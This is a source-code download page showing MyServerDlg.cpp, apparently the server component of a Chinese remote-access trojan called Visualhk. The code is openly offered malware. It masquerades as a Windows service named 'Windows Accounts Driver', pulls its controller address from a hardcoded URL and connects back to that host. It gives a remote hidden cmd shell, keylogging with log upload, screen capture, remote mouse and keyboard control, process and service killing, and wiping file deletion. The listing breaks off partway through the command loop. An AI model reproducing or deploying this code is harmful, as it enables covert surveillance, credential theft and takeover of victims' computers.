开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 网络截获/分析 > 查看源码
MyServerDlg.cpp
资源名称：Visualhk.rar　[点击查看]
上传用户：cjw5120
上传日期：2022-05-11
资源大小：5032k
文件大小：28k
源码类别：

网络截获/分析

开发平台：

Visual C++

MyServerDlg.cpp：源码内容
  1.  // MyServerDlg.cpp : implementation file
  2. //
  4. #include "stdafx.h"
  5. #include "MyServer.h"
  6. #include "MyServerDlg.h"
  7. //#include "MyServer.cpp"
  9. #include "comm.h"
  10. #include "GetSysInfo.h"
  11. #include "TcpTran.h"
  12. #include "ProcessInfo.h"
  14. #include "GetService.h"
  15. //#include "FileManage.h"
  16. #include "GetScreenToBitmap.h"
  17. #include "jpegfile.h"
  18. #include "huffman.h"
  20. #include "shellapi.h"
  22. #include "keylog.h"
  23. /*
  24.  作者：海啸 lyyer English Name: Jack 
  26.   blog:http://lyyer.blog.sohu.com
  28.   website:http://www.cnGSG.com
  30.   海啸网络安全组织
  32. */
  33. #include "HttpAutoUpdate.h"
  35. //#pragma comment(linker, "/OPT:NOWIN98")   //取消这几行的注释，编译出的文件只有2K大小
  36. //#pragma comment(linker, "/merge:.data=.text")   
  37. //#pragma comment(linker, "/merge:.rdata=.text")   
  38. //#pragma comment(linker, "/align:0x200") 
  39. //#pragma comment(linker, "/ENTRY:main")  //cin cout都有问题 
  40. //#pragma comment(linker, "/subsystem:windows") 
  41. //#pragma comment(linker, "/BASE:0x13150000") 
  44. #define OVERWRITE_PASSES 10
  45. #define BUFFER_SIZE 1024
  47. #ifdef _DEBUG
  48. #define new DEBUG_NEW
  49. #undef THIS_FILE
  50. static char THIS_FILE[] = __FILE__;
  51. #endif
  53. //#define DEF_VERSION lyyer_v1.0;
  54. /////////////////////////////////////////////////////////////////////////////
  55. // CMyServerDlg dialog
  58. //////////////////////////////////////////////////////////////////////////
  59. //全局变量
  60. //////////////////////////////////////////////////////////////////////////
  62. LINKINFO m_linkinfo;
  64. struct MODIFY_DATA 
  65. {
  66. unsigned int finder;
  67. char ws_svcname[32];
  68. char ws_svcdisplay[64];
  69. char ws_svcdesc[256];
  70. char url[256];
  71. int  port;
  72. } modify_data = 
  73. {
  74. 0xFFFFFF8D,
  75. "RemoteStorage",
  76. "Windows Accounts Driver",
  77. "Network Connections Management",
  78. "http://ahai2007.id666.com/user/ahai2007/disk/webdisk/iplistm.txt",
  79. 80,
  80. };
  81. //////////////////////////////////////////////////////////////////////////
  85. BOOL WINAPI cmd_file_manage(SOCKET ClientSocket)
  86. {
  87. CTcpTran m_tcptran ;   
  88. DRIVER driver;
  89. char chDriver[3];
  90. BOOL bnet=FALSE;
  91. driver.end=FALSE;
  93. for(char cc='A';cc<='Z';cc++)
  94. {
  95. sprintf(chDriver,"%c:",cc);
  96. if(GetDriveType(chDriver)==DRIVE_FIXED)
  97. {
  98. strcpy(driver.driver,chDriver);
  99. driver.drivertype=DRIVE_FIXED;
  100. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  101. }
  102. else if(GetDriveType(chDriver)==DRIVE_CDROM)
  103. {
  104. strcpy(driver.driver,chDriver);
  105. driver.drivertype=DRIVE_CDROM;
  106. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  107. }
  108. else if(GetDriveType(chDriver)==DRIVE_REMOVABLE)
  109. {
  110. strcpy(driver.driver,chDriver);
  111. driver.drivertype=DRIVE_REMOVABLE;
  112. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  113. }
  114. }
  115.     driver.end=TRUE;
  116. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  117.     return bnet;
  118. }
  120. DWORD WINAPI cmd_proc_manage(SOCKET ClientSocket)
  121. {
  122. //SOCKET ClientSocket = (SOCKET)lp;
  124. int nlen = 0;
  126. CTcpTran m_tcptran ;
  127. //m_tcptran.m_Socket = (SOCKET)lp;
  129. std::vector<PROCESSINFO*> pProcInfo;
  131.     BOOL bOK = GetProcessList(&pProcInfo);
  133. if (bOK)
  134. {
  135. int Prcoinfo = pProcInfo.size();
  137. int processlen = m_tcptran.mysend(ClientSocket,(char *)&Prcoinfo,sizeof(Prcoinfo),0,60);
  138.         
  139. PROCESSINFO *reMSG = new PROCESSINFO;
  140. for(int i=0; i<pProcInfo.size();i++)
  141. {
  142. reMSG = new PROCESSINFO;
  143. memset(reMSG, 0,sizeof(reMSG));            
  144. reMSG->PID=pProcInfo[i]->PID;
  145. lstrcpy(reMSG->ProcName,pProcInfo[i]->ProcName);
  146. lstrcpy(reMSG->ProcPath,pProcInfo[i]->ProcPath);
  147. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(PROCESSINFO),0,60);
  149.             delete reMSG;
  150. }
  151. //
  152. }
  154. return 0;
  155. }
  157. DWORD WINAPI cmd_proc_kill(SOCKET ClientSocket,DWORD pid)
  158. {
  159. int nlen = 0;
  161. CTcpTran m_tcptran ;
  163. KillProcess(pid);
  165. Sleep(1000);
  167. std::vector<PROCESSINFO*> pProcInfo;
  169.     BOOL bOK = GetProcessList(&pProcInfo);
  171. if (bOK)
  172. {
  173. int Prcoinfo = pProcInfo.size();
  175. int processlen = m_tcptran.mysend(ClientSocket,(char *)&Prcoinfo,sizeof(Prcoinfo),0,60);
  176.         
  177. PROCESSINFO *reMSG = new PROCESSINFO;
  178. for(int i=0; i<pProcInfo.size();i++)
  179. {
  180. reMSG = new PROCESSINFO;
  181. memset(reMSG, 0,sizeof(reMSG));            
  182. reMSG->PID=pProcInfo[i]->PID;
  183. lstrcpy(reMSG->ProcName,pProcInfo[i]->ProcName);
  184. lstrcpy(reMSG->ProcPath,pProcInfo[i]->ProcPath);
  185. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(PROCESSINFO),0,60);
  187.             delete reMSG;
  188. }
  189. //
  190. }
  192. return 0;
  193. }
  195. DWORD WINAPI cmd_service_manage(SOCKET ClientSocket)
  196. {
  198. int nlen = 0;
  199. CTcpTran m_tcptran ;
  201. std::vector<SERVICEINFO*> pServiceInfo;
  203.     BOOL bOK = ListService(&pServiceInfo);
  205. if (bOK)
  206. {
  207. int Serviceinfo = pServiceInfo.size();
  209. int servicelen = m_tcptran.mysend(ClientSocket,(char *)&Serviceinfo,sizeof(Serviceinfo),0,60);
  210.         
  211. SERVICEINFO *reMSG = new SERVICEINFO;
  212. for(int i=0; i<pServiceInfo.size();i++)
  213. {
  214. reMSG = new SERVICEINFO;
  215. memset(reMSG, 0,sizeof(reMSG));            
  216. //reMSG->num=pServiceInfo[i]->num;
  217. lstrcpy(reMSG->ServiceName,pServiceInfo[i]->ServiceName);
  218. lstrcpy(reMSG->ServiceDetail,pServiceInfo[i]->ServiceDetail);
  219. lstrcpy(reMSG->ServiceState,pServiceInfo[i]->ServiceState);
  220. lstrcpy(reMSG->ServiceStartType,pServiceInfo[i]->ServiceStartType);
  224. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(SERVICEINFO),0,60);
  226.             delete reMSG;
  227. }
  228. //
  229. }
  230. //delete reMSG;
  231. return 0;   
  232. }
  234. DWORD WINAPI cmd_service_kill(SOCKET ClientSocket,char *chSvrid)
  235. {
  236. int nlen = 0;
  238. CTcpTran m_tcptran ;
  240.     BOOL killOk = KillService(chSvrid);
  242. if(killOk)
  243. {
  244.         Sleep(1000);
  245. }
  246. std::vector<SERVICEINFO*> pServiceInfo;
  248. BOOL bOK = ListService(&pServiceInfo);
  250. if (bOK)
  251. {
  252. int Serviceinfo = pServiceInfo.size();
  254. int servicelen = m_tcptran.mysend(ClientSocket,(char *)&Serviceinfo,sizeof(Serviceinfo),0,60);
  256. SERVICEINFO *reMSG = new SERVICEINFO;
  257. for(int i=0; i<pServiceInfo.size();i++)
  258. {
  259. reMSG = new SERVICEINFO;
  260. memset(reMSG, 0,sizeof(reMSG));            
  261. lstrcpy(reMSG->ServiceName,pServiceInfo[i]->ServiceName);
  262. lstrcpy(reMSG->ServiceDetail,pServiceInfo[i]->ServiceDetail);
  263. lstrcpy(reMSG->ServiceState,pServiceInfo[i]->ServiceState);
  264. lstrcpy(reMSG->ServiceStartType,pServiceInfo[i]->ServiceStartType);
  266. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(SERVICEINFO),0,60);
  268. delete reMSG;
  269. }
  271. }
  275. return 0;   
  276. }
  279. void cmd_file_GetSubOpenItem(SOCKET ClientSocket,char *szCurDir) //DWORD WINAPI
  280. {
  281.     CTcpTran m_tcptran ;
  282. HANDLE hFile;
  283. FILEINFO fileinfo;
  284. WIN32_FIND_DATA WFD;
  286. //初始化fileinfo
  287. fileinfo.invalidir =0;
  288. fileinfo.isdirectory =0;
  289. fileinfo.next =0;
  290. fileinfo.filesize=0;
  291. fileinfo.filename[0]=0;
  292. fileinfo.time[0]=0;
  294. //查找第一个文件
  295. if((hFile=FindFirstFile(szCurDir,&WFD))==INVALID_HANDLE_VALUE)
  296. {//目录无法访问
  297. fileinfo.invalidir =1;
  298. strcpy(fileinfo.filename ,"!*目录无法访问*!");
  299. fileinfo.next=1;
  300. m_tcptran.mysend(ClientSocket,(char *)&fileinfo,sizeof(FILEINFO),0,60);
  301. return;
  302. }
  304. SHFILEINFO shfi;
  305. char stime[32];
  306. SYSTEMTIME systime;
  307. FILETIME localtime;
  309. do
  310. {
  311.     //查完所有信息
  312. memset(&shfi,0,sizeof(shfi));
  313. SHGetFileInfo(WFD.cFileName, 
  314.               FILE_ATTRIBUTE_NORMAL,
  315.               &shfi, sizeof(shfi),
  316.               SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );
  317. //写入文件信息结构
  318.     strcpy(fileinfo.filename,WFD.cFileName);                              //文件名
  319.         if(WFD.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)                     //路径?
  320.       fileinfo.isdirectory=1;
  321.         else
  322.               fileinfo.isdirectory=0;
  323.     fileinfo.filesize=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024+1; //文件大小
  324.     //转化格林时间到本地时间
  325.     FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime);
  326.     FileTimeToSystemTime(&localtime,&systime);
  327.     sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d",
  328. systime.wYear,systime.wMonth,systime.wDay,systime.wHour,
  329. systime.wMinute,systime.wSecond);
  330.     strcpy(fileinfo.time,stime);                                          //文件时间
  331.         fileinfo.next=1;                                                      //next
  332. if(strcmp(WFD.cFileName,".")==0||strcmp(WFD.cFileName,"..")==0)
  333. continue;
  334. m_tcptran.mysend(ClientSocket,(char *)&fileinfo,sizeof(fileinfo),0,60);
  335. if(GetLastError()==ERROR_NO_MORE_FILES)
  336. break;
  337. }while(FindNextFile(hFile,&WFD));
  338. fileinfo.next =0;
  339. m_tcptran.mysend(ClientSocket,(char *)&fileinfo,sizeof(fileinfo),0,60);
  340. FindClose(hFile);
  341. return ;
  343. }
  345. DWORD WINAPI cmd_shell_manage(SOCKET s)
  346. {
  348. CTcpTran m_tcptan;
  350. //创建CMD线程
  352. HANDLE               hWritePipe,hReadPipe,hWriteShell,hReadShell;
  353. SECURITY_ATTRIBUTES  saPipe;
  354. STARTUPINFO          lpStartupInfo;
  355. PROCESS_INFORMATION  lpProcessInfo;
  356. char szBuffer[65535];
  357. DWORD dwBufferRead;
  358. int ret;
  359. saPipe.nLength              = sizeof(saPipe);
  360. saPipe.bInheritHandle       = TRUE;
  361. saPipe.lpSecurityDescriptor = NULL;
  363. //create read and write pipe
  364. CreatePipe(&hReadPipe, &hReadShell, &saPipe, 0);
  365. CreatePipe(&hWriteShell, &hWritePipe, &saPipe, 0);
  367. GetStartupInfo(&lpStartupInfo);
  368. lpStartupInfo.cb           = sizeof(lpStartupInfo);
  369. lpStartupInfo.dwFlags      = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  370. lpStartupInfo.hStdInput    = hWriteShell;
  371. lpStartupInfo.hStdOutput   = hReadShell;
  372. lpStartupInfo.hStdError    = hReadShell;
  373. lpStartupInfo.wShowWindow  = SW_HIDE;
  374. lpStartupInfo.lpDesktop = (LPSTR)("WinSta0\Default"); 
  376. WCHAR cmdline[MAX_PATH];
  377. GetSystemDirectory((LPSTR)cmdline,MAX_PATH);
  378. lstrcatW(cmdline,L"\cmd.exe");
  379. ret = CreateProcess((char *)cmdline, NULL, NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
  380. while(1)
  381. {
  382. memset(szBuffer, 0, sizeof(szBuffer));
  383. PeekNamedPipe(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL,NULL);
  384. if(dwBufferRead != 0)
  385. {
  386. ret = ReadFile(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL);
  387. if(ret)
  388. {
  389. if( m_tcptan.mysend(s,szBuffer, dwBufferRead,0,60) == SOCKET_ERROR)
  390. break;
  391. }
  392. }
  393. else
  394. {
  395. ZeroMemory(szBuffer, sizeof(szBuffer));
  396. ret = m_tcptan.myrecv(s,szBuffer, sizeof(szBuffer), 0, 60,0,false);
  397. if(ret == SOCKET_ERROR)
  398. break;
  399. }
  400. Sleep(100);
  401. }
  402. WriteFile(hWritePipe, "exitrn", (DWORD)strlen("exitrn"), &dwBufferRead, 0);
  404. return 0;
  405. }
  407. DWORD WINAPI cmd_ctrl_GetScreen(SOCKET lp1,BYTE *lp2, BYTE *lp3, BYTE *lp4)
  408. {
  409. CTcpTran m_tcptran;
  410. SOCKET lpWSK = (SOCKET ) lp1;  //第一个参数 socket
  411. JpegFile *pic = (JpegFile *)lp4;     //第四个参数 jpegFile
  412. LPCOMMAND lpSendMsg = (LPCOMMAND) lp2; //第三个参数 消息
  413. CGetScreenToBitmap *lpImage = (CGetScreenToBitmap *)lp3; //CGetScreenToBitmap * lpImage 添加类
  415. CHuffman *huf;
  418. unsigned long lWidth    =0;
  419. unsigned long lHeight   =0;
  420. unsigned long lHeight2  =0;
  421. unsigned long lSize     =0; 
  422. unsigned long lSize2    =0; 
  423. unsigned long lHeadSize =0;
  425. COMMAND SendMsg;
  427. memset(&SendMsg,0,sizeof(COMMAND));
  429. LPSTR lpData = NULL, lpData1 = NULL;//, lpOld = NULL;
  430.     int nDelay = lpSendMsg->nDelay;
  432. //Step 1:抓屏幕
  433.     if(lpImage->GetScreen(lpSendMsg->rcArea, 
  434. lpSendMsg->nBits, lpSendMsg->nArea) < 0) 
  435. return 1;  //Error 
  437. //////////////////////////////////////////////////////////////////////
  438. //经过Step 1 处理之后 结果在lpImage 这个类中 
  439. //应用了 lpImage->m_dwBmpSize
  440. //////////////////////////////////////////////////////////////////////
  442. //Setp 2:压缩图象
  443. SendMsg.dwFileSize = lpImage->m_dwBmpSize;   //图象体积
  444. /* */
  445. if (lpSendMsg->nCompress == 2)
  446. {
  447. //使用 Jpeg压缩方式
  448. if (pic->m_lpScreenBuffer == NULL || lpImage->m_dwBmpSize > pic->m_dwScreenMaxSize)
  449. {
  450. if (pic->m_lpScreenBuffer) GlobalFree(pic->m_lpScreenBuffer);
  451. pic->m_dwScreenMaxSize = lpImage->m_dwBmpSize;
  452. pic->m_lpScreenBuffer = (BYTE *)GlobalAlloc(GMEM_FIXED, lpImage->m_dwBmpSize);
  453. }
  454. lpData = (LPSTR)pic->m_lpScreenBuffer;
  456. lSize = lpImage->m_dwBmpSize;
  457. lpData1 = (char *)pic->LoadBMP(lpImage->GetImage(),&lWidth, &lHeight);
  458. pic->RGBToJpegFile((unsigned char *)lpData1,(unsigned char *)lpData,lWidth, lHeight,true,80, &lSize);
  459. }
  461. //////////////////////////////////////////////////////////////////////////////
  462. //经过Step 2 处理之后 lSize lpData lpData1 lWidth lHeight 
  463. // 用到了 lpData = (LPSTR)pic->m_lpScreenBuffer;
  464. //        lpData1 = (char *)pic->LoadBMP(lpImage->GetImage(),&lWidth, &lHeight);
  465. //        lSize = lpImage->m_dwBmpSize;
  466. //////////////////////////////////////////////////////////////////////////////
  468. //Step 3: 发送图象
  469. //      nCell = lpSendMsg->nCell;
  471. SendMsg.dwBmpSize = lSize;    
  472.     SendMsg.rcArea = lpImage->m_rcArea;   //source size
  473.     //图象头信息
  474.     if(m_tcptran.mysend(lpWSK,(char *)&SendMsg, sizeof(COMMAND),0, 60) < 0)
  475. goto err_01;
  476.     if(lSize == 0) return 0;
  478.     //图象部份
  479.     if(m_tcptran.mysend(lpWSK,(char *)lpData, lSize,0, 60) < 0)
  480. goto err_01;
  481. exit_01:
  482.     //if (lpOld) GlobalFree(lpOld);
  483.     return 0;
  484.     
  485. err_01:
  486.     //if (lpOld) GlobalFree(lpOld);
  487.     return -1;
  489. }
  491. void cmd_ctrl_CtrlAltDel()
  492. {
  493.    keybd_event (VK_CONTROL,0, 0,0);
  494.    keybd_event (VK_MENU,0, 0,0);
  495.    keybd_event (VK_DELETE,0, 0,0);
  496.    ::Sleep(2000);
  497. //   keybd_event (VK_CONTROL,0, 0,0);
  498. //   keybd_event (VK_MENU,0, 0,0);
  499. //   keybd_event (VK_DELETE,0, 0,0);
  500.    keybd_event (VK_CONTROL,0, 0,KEYEVENTF_KEYUP);
  501.    keybd_event (VK_MENU,0, 0,KEYEVENTF_KEYUP);
  502.    keybd_event (VK_DELETE,0, 0,KEYEVENTF_KEYUP);
  503. }
  505. void cmd_ctrl_Mouse(BYTE *lpByte)
  506. {
  507. COMMAND *lpSendMsg = (COMMAND *)lpByte;
  508. //移动鼠标
  509. mouse_event (MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE,
  510. lpSendMsg->dwHookParam1,
  511. lpSendMsg->dwHookParam2,0,0);
  513.     if (lpSendMsg->wCmd == CMD_MOUSE_HOOK)  //单击
  514. {
  515. mouse_event (lpSendMsg->dwHookFlags,lpSendMsg->dwHookParam1,
  516. lpSendMsg->dwHookParam2,0,0);
  517. }
  518.     else if(lpSendMsg->wCmd = CMD_MOUSE_DBHOOK )//双击
  519. {
  520. if(lpSendMsg->dwHookFlags== CMD_MOUSE_LDBCLICK)
  521. {  mouse_event (MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_ABSOLUTE,
  522. lpSendMsg->dwHookParam1,
  523. lpSendMsg->dwHookParam2,0,0);
  524. mouse_event (MOUSEEVENTF_LEFTUP,lpSendMsg->dwHookParam1,
  525. lpSendMsg->dwHookParam2,0,0);
  526. mouse_event (MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_ABSOLUTE,
  527. lpSendMsg->dwHookParam1,
  528. lpSendMsg->dwHookParam2,0,0);
  529. mouse_event (MOUSEEVENTF_LEFTUP,lpSendMsg->dwHookParam1,
  530. lpSendMsg->dwHookParam2,0,0);
  531. }
  532. if(lpSendMsg->dwHookFlags== CMD_MOUSE_RDBCLICK)
  533. {  
  534. mouse_event (MOUSEEVENTF_RIGHTDOWN|MOUSEEVENTF_ABSOLUTE,
  535. lpSendMsg->dwHookParam1,
  536. lpSendMsg->dwHookParam2,0,0);
  537. mouse_event (MOUSEEVENTF_RIGHTUP,lpSendMsg->dwHookParam1,
  538. lpSendMsg->dwHookParam2,0,0);
  539. mouse_event (MOUSEEVENTF_RIGHTDOWN|MOUSEEVENTF_ABSOLUTE,
  540. lpSendMsg->dwHookParam1,
  541. lpSendMsg->dwHookParam2,0,0);
  542. mouse_event (MOUSEEVENTF_RIGHTUP,lpSendMsg->dwHookParam1,
  543. lpSendMsg->dwHookParam2,0,0);
  544. }
  545. }
  546. }
  548. BOOL WINAPI cmd_file_del(char filename[])
  549. {
  550.       HANDLE hFile = CreateFile(filename, 
  551.                         GENERIC_WRITE, 
  552. FILE_SHARE_READ|FILE_SHARE_WRITE, 
  553.                                 NULL, 
  554. OPEN_ALWAYS, 
  555. FILE_FLAG_WRITE_THROUGH, 
  556. NULL);
  558.        if (hFile == INVALID_HANDLE_VALUE) return false;
  559.        DWORD fileSize = GetFileSize(hFile, 0);
  560.        // if file is empty.
  561.        if (!fileSize)
  562.        {
  563.               CloseHandle(hFile);
  564.               return false;
  565.        }
  566.        for (int passes = 0; passes < OVERWRITE_PASSES; passes++)
  567.        {
  568.               char newStorage[BUFFER_SIZE];
  569.               srand((unsigned)time(NULL));
  570.               FillMemory((void*)newStorage, BUFFER_SIZE, rand() % 255);
  571.               SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
  572.               DWORD left = fileSize;
  573.               int write = BUFFER_SIZE;
  574.               DWORD written = 0;
  575.               while (left)
  576.               {
  577.                      if (left < BUFFER_SIZE) write = left;                    
  578.                      BOOL status = WriteFile(hFile, newStorage, write, &written, NULL);
  579.                      if (!status)
  580.                      {
  581.                             CloseHandle(hFile);
  582.                             return false;
  583.                      } 
  584.                      left -= write;
  585.               }
  586.        }
  587.        CloseHandle(hFile);
  588.        if (!DeleteFile(filename)) return false;
  589.        return true;
  590. }
  592. UINT cmd_ctrl_shell(SOCKET sock,char command[])
  593. {
  596.     CTcpTran m_tcptran;
  598. //COMMAND m_command;
  599. //memset(&m_command,0,sizeof(COMMAND));
  601.     STARTUPINFO si;
  602.     PROCESS_INFORMATION pi;
  603.     HANDLE hRead=NULL,hWrite=NULL;
  605.     TCHAR Cmdline[300]={0};     //命令行缓冲
  606.     char SendBuf[2048]={0};    //发送缓冲
  607.     SECURITY_ATTRIBUTES sa;     //安全描述符
  608.     DWORD bytesRead=0;
  609.     int ret=0;
  611.     sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  612.     sa.lpSecurityDescriptor=NULL;
  613.     sa.bInheritHandle=TRUE;
  615.     //创建匿名管道
  616.     if (!CreatePipe(&hRead,&hWrite,&sa,0))  
  617.          goto Clean;//失败
  619.     si.cb=sizeof(STARTUPINFO);
  620.     GetStartupInfo(&si);
  621.     si.hStdError=hWrite;
  622.     si.hStdOutput=hWrite;    //进程（cmd）的输出写入管道
  623.     si.wShowWindow=SW_HIDE;
  624.     si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  626.     GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
  627.     strcat(Cmdline,"\cmd.exe /c ");                //拼接cmd
  628.     strcat(Cmdline,command);  //拼接一条完整的cmd命令
  630.     //创建进程，也就是执行cmd命令
  631.     if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
  632.          goto Clean;//失败
  634.     CloseHandle(hWrite);
  636.     while (TRUE)
  637.     {
  638.       //无限循环读取管道中的数据，直到管道中没有数据为止
  639.       if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
  640.           break;
  641.       m_tcptran.mysend(sock,SendBuf,bytesRead,0,60);      //发送出去
  642.       memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
  643.       Sleep(100);                          //休息一下
  644.      }
  646.     m_tcptran.mysend(sock,(char *)MY_END,sizeof(MY_END),0,60);
  647. Clean:
  648.           //释放句柄
  649.           if (hRead!=NULL)
  650.               CloseHandle(hRead);
  652.           if (hWrite!=NULL)
  653.               CloseHandle(hWrite);
  655. return 0;
  656. }
  660. UINT cmd_keylog()
  661. {
  663. char filename[100] ={0};//保存文件名
  664. char syspath[MAX_PATH] ={0};
  666. SYSTEMTIME sysTm;
  667. ::GetLocalTime(&sysTm);
  668. int m_nYear = sysTm.wYear;
  669. int m_nMonth = sysTm.wMonth;
  670. int m_nDay = sysTm.wDay;
  672. sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
  673. GetSystemDirectory(syspath,MAX_PATH);
  675. strcat(syspath,"\");
  676. strcat(syspath,filename);
  678. g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
  680. return 0;
  681.     
  682. }
  684. UINT cmd_stop_keylog(SOCKET s)
  685. {
  686.     CTcpTran m_tcptran;
  688. char filename[100] ={0};//保存文件名
  689. char syspath[MAX_PATH] ={0};
  691. SYSTEMTIME sysTm;
  692. ::GetLocalTime(&sysTm);
  693. int m_nYear = sysTm.wYear;
  694. int m_nMonth = sysTm.wMonth;
  695. int m_nDay = sysTm.wDay;
  697. sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
  698. GetSystemDirectory(syspath,MAX_PATH);
  700. strcat(syspath,"\");
  701. strcat(syspath,filename);
  702. HANDLE hFile = CreateFile(syspath,
  703.                      GENERIC_READ|GENERIC_WRITE,
  704.  FILE_SHARE_WRITE|FILE_SHARE_READ,
  705.  0,
  706.  OPEN_EXISTING,
  707.  FILE_ATTRIBUTE_NORMAL,
  708.  NULL);
  710.     DWORD dwSize=GetFileSize(hFile,NULL); 
  712.     int SendFileSize = m_tcptran.mysend(s,(char *)&dwSize,sizeof(DWORD),0,60);
  714. char buf[1024]={0};
  716.     if (SendFileSize)
  717. {
  719. DWORD Realbufsize = 0;
  721. int SendFile =0;
  722. BOOL bread = FALSE;
  725. DWORD SendSize =0;
  727. while (SendSize<dwSize)
  728. {
  729. if (dwSize-SendSize<1024)
  730. {
  731. bread= ReadFile(hFile,
  732.                  buf,
  733.  dwSize,
  734.                              &Realbufsize,
  735.  NULL);
  737. SendFile = m_tcptran.mysend(s,buf,dwSize,0,60);
  739. dwSize = dwSize - dwSize;
  740. }
  741. else
  742. {
  743. bread= ReadFile(hFile,
  744.                  buf,
  745.  1024,
  746.                              &Realbufsize,
  747.  NULL);
  748. SendFile = m_tcptran.mysend(s,buf,1024,0,60);
  750. //SendSize =SendSize + 1024;
  752. dwSize = dwSize -1024;
  754. }
  756. }
  757.     }
  758.     
  759. CloseHandle(hFile);
  761. if(g_hHook)
  762. {
  763. UnhookWindowsHookEx(g_hHook);
  764. }
  766. return 0;
  767. }
  772. DWORD WINAPI MyClientThread(LPVOID lp)
  773. {
  775.     CGetScreenToBitmap Image;
  776. JpegFile pic;
  777.     int      nRet;
  778. HDC  hDC;
  779. BYTE *lpData;
  782.     LPLINKINFO m_tmp = (LPLINKINFO)lp ;
  783. CTcpTran m_tcptran ;
  784. BOOL bOK = m_tcptran.InitSocketLibray(2,2);
  786. if (bOK==0)
  787. {
  788.        return -1; 
  789. }
  792. retry:
  794.     SOCKET s = m_tcptran.InitSocket(SOCKETNOBIND,m_tmp->strBindIp,m_tmp->BindPort,0);
  796. if(s == SOCKET_ERROR)
  797. {
  798. goto retry;
  799. }
  801. SYSTEMINIT m_sendmsg ;
  803. GetClientSystemInfo(m_sendmsg);
  804. memcpy(m_sendmsg.version,"lyyer_v1.0",sizeof("lyyer_v1.0"));
  806. nRet = m_tcptran.mysend(s,(char *)&m_sendmsg,sizeof(m_sendmsg),0,60);
  808.     if (nRet<0) 
  809. {
  810. m_tcptran.mysend(s,(char *)&m_sendmsg,sizeof(m_sendmsg),0,60);
  811.     }
  812.      COMMAND m_command;
  814.  COMMAND m_filetmp;
  815.  memset(&m_filetmp,0,sizeof(COMMAND));
  818.  DWORD dw_hThreadid = 0;
  819.      HANDLE hThread = NULL;
  820.  BOOL   HaveChild = false;
  821.      BOOL   OKfiledel = false;
  823.  int    bret=0;
  825. Loop01:
  826. while(true)
  827. {
  828. bret=0;
  829. memset((char  *)&m_command, 0,sizeof(m_command));
  830. //retryrecv:
  831. bret = m_tcptran.myrecv(s,(char *)&m_command,sizeof(m_command),0,60,0,FALSE);
  834. /*
  835. if (bret=-1)
  836. {
  837.     goto retry;
  838. }
  839. */
  842. switch (m_command.wCmd)
  843. { 
  844. case CMD_RETRY:
  845.  goto exit01;
  846. case CMD_PROCESS_MANAGE:
  847. cmd_proc_manage(s);
  848. goto Loop01;
  849. case CMD_SERVICE_MANAGE:
  850. cmd_service_manage(s);
  851. goto Loop01;
  852. case CMD_FILE_MANAGE:
  853. cmd_file_manage(s);
  854. goto Loop01;
  855. case CMD_FILE_GETSUBFILE:
  856. //HaveChild = 
  857. cmd_file_GetSubOpenItem(s,m_command.szCurDir);
  859. goto Loop01;
  861. case CMD_FILE_DEL:
  862. OKfiledel = cmd_file_del(m_command.szCurDir);
  864. goto Loop01;
  866. case CMD_CMDSHELL:
  867. cmd_ctrl_shell(s,m_command.szCurDir);
  868. goto Loop01;
  869. case CMD_KEYLOG_STOP:
  870. cmd_stop_keylog(s);
  871. goto Loop01;
  872. case CMD_SCREEN_MANAGE:
  873. nRet = cmd_ctrl_GetScreen(s, (BYTE*)&m_command, (BYTE *)&Image, (BYTE *)&pic);    
  874. if(nRet == -1) goto exit01;
  875. goto Loop01;
  876. case CMD_GET_SCREEN_INFO://取屏幕信息
  877. memset((char  *)&m_command, 0,sizeof(m_command));
  878. hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
  879. m_command.nBits = GetDeviceCaps(hDC, BITSPIXEL);
  880. m_command.nBits = m_command.nBits * GetDeviceCaps(hDC, PLANES);
  881. DeleteDC (hDC);
  882. m_command.rcArea = CRect(0,0,GetSystemMetrics (SM_CXSCREEN),GetSystemMetrics (SM_CYSCREEN));
  883. if(m_tcptran.mysend(s,(char *)&m_command,sizeof(m_command),0,60) < 0)
  884. goto exit01;
  885. goto Loop01;
  886. case CMD_KEY_HOOK:  
  887. keybd_event ((BYTE)m_command.dwHookParam1,(BYTE)m_command.dwHookParam2,m_command.dwHookFlags,0);
  888. goto Loop01;
  889. case CMD_MOUSE_HOOK:
  890. case CMD_MOUSE_DBHOOK:
  891. cmd_ctrl_Mouse((BYTE *)&m_command);
  892. goto Loop01;
  893. case CMD_KEY_CAD: //Ctrl+Alt+Delete
  894. cmd_ctrl_CtrlAltDel();
  895. goto Loop01;
